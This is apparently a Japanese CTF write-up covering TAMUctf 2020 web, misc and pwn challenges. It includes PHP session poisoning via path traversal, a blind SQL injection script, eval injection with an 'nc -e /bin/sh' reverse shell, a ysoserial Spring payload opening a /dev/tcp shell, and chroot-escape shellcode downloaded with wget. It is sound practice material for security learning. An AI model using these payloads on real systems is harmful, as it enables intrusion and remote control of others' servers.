gigem{l0rdy_th15_1s_mAny_cr3d1ts}

なお、valueLong.MAX_VALUE - 1;にしている理由は、サーバ側のインクリメント処理でオーバーフローして、大金持ちが一転して多額の借金を抱える羽目になるのを防ぐためである。

FILESTORAGE

Question

Try out my new file sharing site!

http://filestorage.tamuctf.com

ログイン前
f:id:graneed:20200322175440p:plain

ログイン後
f:id:graneed:20200322175503p:plain

Solution

最初に任意の名前を入力してログインする。

その後の画面にディレクトリトラバーサル脆弱性がある。

PHPのセッションファイルを指定可能であるため、nameにPHPのコードをセットしてからセッションファイルを読ませると、セッションファイル内のnameの部分でコード実行できる。

最初に、cmdパラメータをそのままOSコマンドとして実行するコードをnameに設定する。

root@kali:~/node_work# curl http://filestorage.tamuctf.com/index.php -d 'name=<?php system($_GET["cmd"]);?>' -v
*   Trying 34.208.211.186:80...
* TCP_NODELAY set
* Connected to filestorage.tamuctf.com (34.208.211.186) port 80 (#0)
> POST /index.php HTTP/1.1
> Host: filestorage.tamuctf.com
> User-Agent: curl/7.69.0-DEV
> Accept: */*
> Content-Length: 34
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 34 out of 34 bytes
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: nginx/1.16.1
< Date: Sat, 21 Mar 2020 03:50:13 GMT
< Content-Type: text/html; charset=UTF-8
< Content-Length: 568
< Connection: keep-alive
< X-Powered-By: PHP/7.3.15
< Set-Cookie: PHPSESSID=49j9g92r7e29ns6dl57kpp80o6; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
<
<html>
        <head>
                <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
        </head>
        <body>
        Hello, <?php system($_GET["cmd"]);?><br><ul class="list-group mx-2"><li class="list-group-item my-1"><a href='?file=beemovie.txt'>beemovie.txt</a></li><li class="list-group-item my-1"><a href='?file=hello.txt'>hello.txt</a></li><li class="list-group-item my-1"><a href='?file=pi.txt'>pi.txt</a></li></ul> </body>
</html>
* Connection #0 to host filestorage.tamuctf.com left intact

lsコマンドを実行。うまくいっているようだ。

root@kali:~# curl http://filestorage.tamuctf.com/ -H "Cookie: PHPSESSID=49j9g92r7e29ns6dl57kpp80o6" -GET -d "file=../../../../../tmp/sess_49j9g92r7e29ns6dl57kpp80o6&cmd=ls" --output -
<html>
        <head>
                <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
        </head>
        <body>
        <a class="btn btn-primary" href="index.php" role="button">&#129092; Go back</a><br>name|s:29:"files
index.html
index.php
";      </body>
</html>

/ディレクトリにflag_is_hereディレクトリを発見。

root@kali:~# curl http://filestorage.tamuctf.com/ -H "Cookie: PHPSESSID=49j9g92r7e29ns6dl57kpp80o6" -GET -d "file=../../../../../tmp/sess_49j9g92r7e29ns6dl57kpp80o6&cmd=ls%20/" --output -
<html>
        <head>
                <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
        </head>
        <body>
        <a class="btn btn-primary" href="index.php" role="button">&#129092; Go back</a><br>name|s:29:"bin
dev
etc
flag_is_here
home
lib
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var
";      </body>
</html>

root@kali:~# curl http://filestorage.tamuctf.com/ -H "Cookie: PHPSESSID=49j9g92r7e29ns6dl57kpp80o6" -GET -d "file=../../../../../tmp/sess_49j9g92r7e29ns6dl57kpp80o6&cmd=ls%20/flag_is_here" --output -
<html>
        <head>
                <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
        </head>
        <body>
        <a class="btn btn-primary" href="index.php" role="button">&#129092; Go back</a><br>name|s:29:"flag.txt
";      </body>
</html>

flag.txtファイルを表示する。

root@kali:~# curl http://filestorage.tamuctf.com/ -H "Cookie: PHPSESSID=49j9g92r7e29ns6dl57kpp80o6" -GET -d "file=../../../../../tmp/sess_49j9g92r7e29ns6dl57kpp80o6&cmd=cat%20/flag_is_here/flag.txt" --output -
<html>
        <head>
                <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
        </head>
        <body>
        <a class="btn btn-primary" href="index.php" role="button">&#129092; Go back</a><br>name|s:29:"gigem{535510n_f1l3_p0150n1n6}";   </body>
</html>
gigem{535510n_f1l3_p0150n1n6}

PASSWORD_EXTRACTION

Question

The owner of this website often reuses passwords. Can you find out the password they are using on this test server?

http://passwordextraction.tamuctf.com

You do not need to use brute force for this challenge.

f:id:graneed:20200322191412p:plain

Solution

usernameでBlind SQL Injectonが可能。
information_schemaからテーブル名を取得し、password列を取得。列名は画面の項目名と同じだった。

実行結果はソースコードのコメントに記載。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import string
import time

URL = 'http://passwordextraction.tamuctf.com/login.php'
target = ""

def trace_request(req):
    print("[+] request start")
    print('{}\n{}\n\n{}'.format(
        req.method + ' ' + req.url,
        '\n'.join('{}: {}'.format(k, v) for k, v in req.headers.items()),
        req.body,
    ))
    print("[+] request end")

def trace_response(res):
    print("[+] response start")
    print('{}\n{}\n\n{}'.format(
        res.status_code,
        '\n'.join('{}: {}'.format(k, v) for k, v in res.headers.items()),
        res.content,
    ))
    print("[+] response end")

def challenge(offset, guess):
    req = requests.Request(
        'POST',
        URL,
        data={
            #"username" : "' or ASCII(SUBSTRING((select table_name from information_schema.tables where table_schema=database() limit 0,1),{},1)) < {} #".format(offset + 1, guess),
            #Output:
            #[+] target: accounts
            "username" : "' or ASCII(SUBSTRING((select password from accounts limit 0,1),{},1)) < {} #".format(offset + 1, guess),
            #Output:
            #[+] target: gigem{h0peYouScr1ptedTh1s}
            "password" : "aaaa"
        }
    )
    prepared = req.prepare()
    #trace_request(prepared)
    session = requests.Session()
    #start = time.time() # TimeBased用
    res = session.send(prepared, allow_redirects = False)
    #elapsed_time = time.time() - start # TimeBased用
    #trace_response(res)

    if "successfully" in res.content.decode("utf-8"):
        return True # 取得したい文字の文字コードは予想文字の文字コードより小さい
    else:
        return False # 取得したい文字の文字コードは予想文字の文字コード以上

def binarySearch(offset):
    low = 0
    high = 256

    while low <= high:
        guess = (low + high) // 2
        is_target_lessthan_guess = challenge(offset, guess)
        if is_target_lessthan_guess:
            high = guess
        else:
            low = guess

        if high == 1:
            return -1
        elif high - low == 1:
            return low

while True:
    code = binarySearch(len(target))
    if code == -1:
        break
    target += chr(code)
    print("[+] target: " + target)

print("[+] target: " + target)
gigem{h0peYouScr1ptedTh1s}

MENTALMATH

Question

My first web app, check it out!

http://mentalmath.tamuctf.com

Hint: I don't believe in giving prizes for solving questions, no matter how many!

f:id:graneed:20200322192104p:plain

f:id:graneed:20200322192119p:plain

Solution

簡単な数式が出されて、正解すると次の問題が出題されるWebサイト。

リクエストを観察すると、項目入力の都度、problemに数式、answerに入力値をセットし、送信している。

root@kali:~# curl 'http://mentalmath.tamuctf.com/ajax/new_problem' -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" -H "X-Requested-With: XMLHttpRequest" -d 'problem=9*91' -d 'answer=819'
{"correct": true, "problem": "23 - 29"}

root@kali:~# curl 'http://mentalmath.tamuctf.com/ajax/new_problem' -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" -H "X-Requested-With: XMLHttpRequest" -d 'problem=9*91' -d 'answer=811'
{"correct": false}

サーバ側で、problemをevalのような関数に渡していると推測。

root@kali:~# curl 'http://mentalmath.tamuctf.com/ajax/new_problem' -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" -H "X-Requested-With: XMLHttpRequest" -d 'problem=ord("a")' -d 'answer=97'
{"correct": true, "problem": "10 * 56"}

root@kali:~# curl 'http://mentalmath.tamuctf.com/ajax/new_problem' -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" -H "X-Requested-With: XMLHttpRequest" -d 'problem=ord("b")' -d 'answer=97'
{"correct": false}

ビンゴ。

リバースシェルを張るコードを送り込む。

root@kali:~# curl 'http://mentalmath.tamuctf.com/ajax/new_problem' \
-H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
-H "X-Requested-With: XMLHttpRequest" \
-d 'answer=97' -d 'problem=__import__("os").system("nc -e /bin/sh <myserver> <port>")'

接続が来た。

root@ip-172-31-6-71:/opt/vim# nc -nvlp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from 34.208.211.186 37674 received!
ls
db.sqlite3
flag.txt
manage.py
mathgame
mentalmath
requirements.txt
cat flag.txt
gigem{1_4m_g0od_47_m4tH3m4aatics_n07_s3cUr1ty_h3h3h3he}
gigem{1_4m_g0od_47_m4tH3m4aatics_n07_s3cUr1ty_h3h3h3he}

TOO_MANY_CREDITS_2

Question

Even if you could get the first flag, I bet you can't pop a shell!

http://toomanycredits.tamuctf.com

Solution

TOO_MANY_CREDITS_2の続き。 問題文より、shellを取れば勝ちのようだ。

Javaシリアライズといえばysoserial。
github.com

エラーメッセージに「Whitelabel Error Page」と出力されている。Springフレームワークのようだ。 Spring用のペイロードが使用できそうだ。

以下のシェルスクリプトを実行し、ncコマンドで自サーバにコネクトバックを試すと接続が来た。 (コメントアウトしている部分は総当たり用。今回はSpringと分かっている。)

#!/bin/sh

command="nc <myserver> <port>"

#for Payload in BeanShell1 C3P0 Clojure CommonsBeanutils1 CommonsCollections1 CommonsCollections2 CommonsCollections3 CommonsCollections4 CommonsCollections5 CommonsCollections6 FileUpload1 Groovy1 Hibernate1 Hibernate2 JBossInterceptors1 JRMPClient JRMPListener JSON1 JavassistWeld1 Jdk7u21 Jython1 MozillaRhino1 Myfaces1 Myfaces2 ROME Spring1 Spring2 URLDNS Wicket1
for Payload in Spring1
do
echo ${Payload}
counter=`java -jar ysoserial-master-SNAPSHOT.jar ${Payload} "${command}" | gzip -c | base64 -w0`
echo ${counter}
curl toomanycredits.tamuctf.com -H "Accept: text/html" -b "counter=${counter}"
done

しかし、リバースシェルが張れない。

調べると、以下の記事がHIT。少し改造が必要なようだ。
medium.com

gitからソースコードを取得して改造する。
src/main/java/ysoserial/payloads/util/Gadgets.java

        //String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
        //    command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
        //    "\");";
        String cmd = "java.lang.Runtime.getRuntime().exec(new String []{\"/bin/bash\",\"-c\",\"" +
            command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
            "\"}).waitFor();";

dockerを使用してコンパイルする。

root@kali:/opt/ysoserial# docker build ./ -t ysoserial
Sending build context to Docker daemon  793.6kB
(snip)
Successfully built 77a3baf72e1d
Successfully tagged ysoserial:latest

dockerでコンパイルしたysoserialを使用するよう、シェルスクリプトを手直しして実行する。

#!/bin/sh

command="exec 5<>/dev/tcp/<myserver>/<port>;cat <&5 | while read line; do \$line 2>&5 >&5; done"

#for Payload in BeanShell1 C3P0 Clojure CommonsBeanutils1 CommonsCollections1 CommonsCollections2 CommonsCollections3 CommonsCollections4 CommonsCollections5 CommonsCollections6 FileUpload1 Groovy1 Hibernate1 Hibernate2 JBossInterceptors1 JRMPClient JRMPListener JSON1 JavassistWeld1 Jdk7u21 Jython1 MozillaRhino1 Myfaces1 Myfaces2 ROME Spring1 Spring2 URLDNS Wicket1
for Payload in Spring1
do
echo ${Payload}
counter=`docker run ysoserial ${Payload} "${command}" | gzip -c | base64 -w0`
echo ${counter}
curl toomanycredits.tamuctf.com -H "Accept: text/html" -b "counter=${counter}"
done

リバースシェルを張れた。

ubuntu@ip-172-31-6-71:~$ nc -lnvp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from 34.208.211.186 59288 received!
ls
bin
flag.txt
lib
cat flag.txt
gigem{da$h_3_1s_A_l1f3seNd}
gigem{da$h_3_1s_A_l1f3seNd}

GEOGRAPHY

Question

My friend told me that she found something cool on the Internet, but all she sent me was 11000010100011000111111111101110 and 11000001100101000011101111011111.

She's always been a bit cryptic. She told me to "surround with gigem{} that which can be seen from a bird's eye view"... what?

Solution

floatに変換。

>>> struct.unpack('>f', 0b11000010100011000111111111101110.to_bytes(4, byteorder='big'))
(-70.24986267089844,)

>>> struct.unpack('>f', 0b11000001100101000011101111011111.to_bytes(4, byteorder='big'))
(-18.529233932495117,)

緯度・経度のようになった。

https://www.google.com/maps/search/-18.529233932495117+-70.24986267089844

GoogleMap上で、コカ・コーラの地上絵らしきものを発見。

gigem{Coca-Cola}

NOT_SO_GREAT_ESCAPE

Question

We've set up a chroot for you to develop your musl code in. It's bare, so install whatever you need.

Feel free to log in with a raw TCP socket at challenges.tamuctf.com:4353.

The password is "(snip)"

Solution

まずはncで接続する。

root@kali:~# nc challenge.tamuctf.com 4353
Password: 2ff6b0b9733a294cb0e0aeb7269dea5ae05d2a2de569e8464b5967c6c207548e

/ # ^[[37;5Rpwd
pwd
/

少々、文字が化けているが、接続できた。

問題文より、chrootから脱獄する問題だと予想。
以下の記事を参考にする。
inaz2.hatenablog.com

自サーバで実行ファイルを作成し、問題サーバからダウンロードできるようにWebサーバに公開。

root@ip-172-31-6-71:/var/www/html# cat ./loader.c
/* loader.c */
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
    char code[] = "\x6a\x2f\x48\x89\xe7\x6a\x50\x58\x0f\x05\x5e\x66\xbe\xed\x01\x56\x48\x89\xe7\x6a\x53\x58\x0f\x05\x6a\x5e\x58\xf6\xd0\x0f\x05\x6a\x7f\x5e\x48\x31\xff\x66\xbf\x2e\x2e\x57\x48\x89\xe7\x6a\x50\x58\x0f\x05\x48\xff\xce\x75\xf6\x6a\x5e\x58\xf6\xd0\x0f\x05\x6a\x3b\x58\x48\x99\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x57\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05";
    printf("strlen(code) = %ld\n", strlen(code));
    ((void (*)())code)();
    return 0;
}

root@ip-172-31-6-71:/var/www/html# gcc -static -zexecstack loader.c

root@ip-172-31-6-71:/var/www/html# ll ./a.out
-rwxr-xr-x 1 root root 844736 Mar 22 10:47 ./a.out*

実行ファイルをダウンロードして実行して脱獄。(化けている部分は編集)

/ # cd /tmp
cd /tmp
/tmp # wget http://13.113.186.8/a.out
wget http://13.113.186.8/a.out
Connecting to 13.113.186.8 (13.113.186.8:80)
saving to 'a.out'
a.out                100% |********************************|  824k  0:00:00 ETA
'a.out' saved
/tmp # chmod 777 ./a.out
chmod 777 ./a.out
/tmp # ./a.out
./a.out
strlen(code) = 89
/ # 

脱獄後に、ルートディレクトリを確認すると、pwnディレクトリが存在。

/ # ls -la /
ls -la /
total 64
drwxr-xr-x    1 root     root          4096 Mar 19 01:57 .
drwxr-xr-x    1 root     root          4096 Mar 19 01:57 ..
-rwxr-xr-x    1 root     root             0 Mar 19 01:57 .dockerenv
drwxr-xr-x    2 root     root          4096 Jan 16 21:52 bin
drwxr-xr-x    5 root     root           340 Mar 22 13:27 dev
drwxr-xr-x    1 root     root          4096 Mar 19 01:57 etc
drwxr-xr-x    2 root     root          4096 Jan 16 21:52 home
drwxr-xr-x    1 root     root          4096 Jan 16 21:52 lib
drwxr-xr-x    5 root     root          4096 Jan 16 21:52 media
drwxr-xr-x    2 root     root          4096 Jan 16 21:52 mnt
drwxr-xr-x    2 root     root          4096 Jan 16 21:52 opt
dr-xr-xr-x 1646 root     root             0 Mar 22 13:27 proc
drwxr-xr-x    1 root     root          4096 Mar 17 23:34 pwn
drwx------    2 root     root          4096 Jan 16 21:52 root
drwxr-xr-x    2 root     root          4096 Jan 16 21:52 run
drwxr-xr-x    2 root     root          4096 Jan 16 21:52 sbin
drwxr-xr-x    2 root     root          4096 Jan 16 21:52 srv
dr-xr-xr-x   13 root     root             0 Mar 20 01:16 sys
drwxrwxrwt    3 root     root            60 Mar 22 13:30 tmp
drwxr-xr-x    1 root     root          4096 Jan 16 21:52 usr
drwxr-xr-x    1 root     root          4096 Jan 16 21:52 var

/ # cd /pwn
cd /pwn

/pwn # ls -la
ls -la
total 20
drwxr-xr-x    1 root     root          4096 Mar 17 23:34 .
drwxr-xr-x    1 root     root          4096 Mar 19 01:57 ..
-rw-rw-r--    1 root     root            25 Mar 17 21:49 flag.txt
drwxr-xr-x    1 root     root          4096 Mar 17 23:34 jail
-rwxrwxr-x    1 root     root           468 Mar 17 21:49 not-so-great-escape

/pwn # cat flag.txt
cat flag.txt
gigem{up_up_&_a_way_0u7}

参考までに、ログイン時に実行されるとみられるnot-so-great-escapeファイルは以下のとおり。

#!/bin/sh

chroot_dir=$(mktemp -d)

function cleanup {
  rm -rf ${chroot_dir}
}
trap cleanup EXIT

read -sp "Password: " password
echo

if [[ -z "${password}" || "(snip)" != "${password}" ]]; then
  echo -e "Bad password. Exiting."
  exit 1
fi

cp -r /pwn/jail/* ${chroot_dir}

cp /etc/apk/repositories ${chroot_dir}/etc/apk/repositories
cp /etc/resolv.conf ${chroot_dir}/etc/resolv.conf

chroot ${chroot_dir}